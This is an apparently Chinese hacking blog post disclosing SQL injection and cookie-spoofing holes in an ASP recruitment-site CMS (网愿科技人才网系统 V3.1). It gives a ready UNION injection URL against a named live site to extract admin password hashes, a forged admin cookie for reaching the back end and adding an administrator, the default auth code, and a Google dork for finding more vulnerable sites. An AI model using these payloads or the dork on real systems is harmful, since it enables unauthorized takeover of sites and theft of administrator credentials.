转载请注明:んㄗ葑訫鎖愛'S Blog http://www.virusest.com/
网愿科技人才网系统 V3.1 (acc)存在SQL注入和cookies欺骗漏洞
先说sql注入,问题出在view_notice.asp文件,问题代码:
id=Trim(Request.QueryString("id"))
set rs=createobject("adodb.recordset")
sql="select * from [notice] where id="&id&""
rs.open sql,Conn,1,1
if rs.eof then
Response.Write("还没有公告")
else
id没过滤,没判断是否为数字型带入数据库查询。系统有个防注入貌似没用。asp里IsNumeric,isinteger,clng等这么多函数怎么就不用呢,随便加一个判断一下安全性就上一个档次的,算了,扯远了,继续,注入语句:
http://www.bsrczp.com/view_notice.asp?id=8 and 1=2 union select 1,password,3,admin,5 from admin where adminid=1
如果有多个管理员只需更改adminid值。另外,注入时id要选择一个存在的值,也就是说要有一个存在的公告。这个也不必担心,google会给你找好存在的公告。
二,后台验证存在cookies欺骗。看看check.asp的代码
dim job_admin_Name,job_admin_PassWord,job_admin_flag,flag
job_admin_Name=replace(Request.Cookies("job_admin_Name"),"'","")
job_admin_PassWord=Request.Cookies("job_admin_PassWord")
job_admin_flag=replace(Request.Cookies("job_admin_flag"),"'","")
if job_admin_Name="" or job_admin_PassWord="" or job_admin_flag="" then
response.write"
"
response.End()
else
sql="select * from admin where admin='" & job_admin_Name & "' and password='" & job_admin_PassWord & "' and flag="&job_admin_flag&" and locked=0"
set rs=conn.execute(sql)
if rs.eof and rs.bof then
rs.close
response.write"
"
response.End()
else
flag=rs("flag")
end if
end if
没用session验证,用cookies判断,更可笑的是从cookies里取得job_admin_PassWord并没进行MD5解密带入数据库,数据库里的密码也是MD5加密后的,这样我们通过前面的注入,直接拿到MD5加密后的密码,然后进行cookies欺骗,就可以访问后台的页面了。可怜了作者苦心设计的后台登陆认证码。这里我就以domain3.6(3.5的在Windows7下还不能用,)为例。构造cookies:
job_admin_Name=admin; job_admin_PassWord=54cbf7c4f330eddf; job_admin_flag=1; YYQBDBMLXSUNDEMPZOUP=KSTIJBCQBGPLBOUBWZQIRXAUHDKCCRBNAZPCDNPD; ASPSESSIONIDSATBTDAS=JIMLEFFCNMKHBDLAAEILHOBH;
只需把job_admin_PassWord和job_admin_Name改为网站的管理员帐号和MD5加密后的,修改cookies,然后直接访问admin/manageadmin.asp页面,在这里可以自己添加一个管理员。默认的认证码是jobacc,当然你也可以访问其他的页面
最后,给个搜索的关键字,Google:inurl:view_notice.asp?id= intitle:网站公告 这样搜的比较精确了,也许还有其他的。
PS:还有一个文件存在注入view_person.asp:
uid=ReplaceBadChar(Trim(Request.QueryString("id")))
if uid="" then
response.write"
"
response.end
end if
set rs_person=server.createobject("adodb.recordset")
conn.Execute "update person set click=click+1 where id="&uid&""
sql_person="select * from person where job<>'""' and id="&uid&""
rs_person.open sql_person,conn,2,3
工具可以检测到注入,但是什么也猜解不出来,关键是这句sql_person="select * from person where job<>'""' and id="&uid&""我试着构造2次union结果还是出问题,哪位高人若写出注入语句,还望告诉小弟,谢之!